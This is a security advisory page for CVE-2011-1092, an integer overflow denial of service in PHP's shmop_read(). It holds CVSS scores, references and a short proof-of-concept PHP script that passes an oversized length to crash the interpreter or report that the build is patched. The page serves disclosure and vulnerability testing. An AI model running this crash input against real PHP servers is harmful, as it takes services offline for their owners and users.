PHP <= 5.3.6 shmop_read() Integer Overflow DoS

2011.03.17
Risk: High
Local: No
Remote: Yes
CWE: CWE-189


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php # Exploit Title: PHP <=5.3.5 Integer Overflow DoS # Date: 12-03-11 # Author: Jose Carlos Norte - www.rooibo.com # Software Link: www.php.net # Version: <= 5.3.5 # Tested on: Ubuntu Linux # CVE : CVE-2011-1092 $shm_key = ftok(__FILE__, 't'); $shm_id = shmop_open($shm_key, "c", 0644, 100); $shm_data = shmop_read($shm_id, 1, 2147483647); //if there is no segmentation fault past this point, we have 2gb of memory! //or we are in a patched php echo "this php version is not vulnerable!"; ?>

References:

http://www.openwall.com/lists/oss-security/2011/03/08/9
http://www.openwall.com/lists/oss-security/2011/03/08/11
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/shmop/shmop.c?r1=306939&r2=309018&pathrev=309018
http://xforce.iss.net/xforce/xfdb/65988
http://www.securityfocus.com/bid/46786
http://www.exploit-db.com/exploits/16966


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top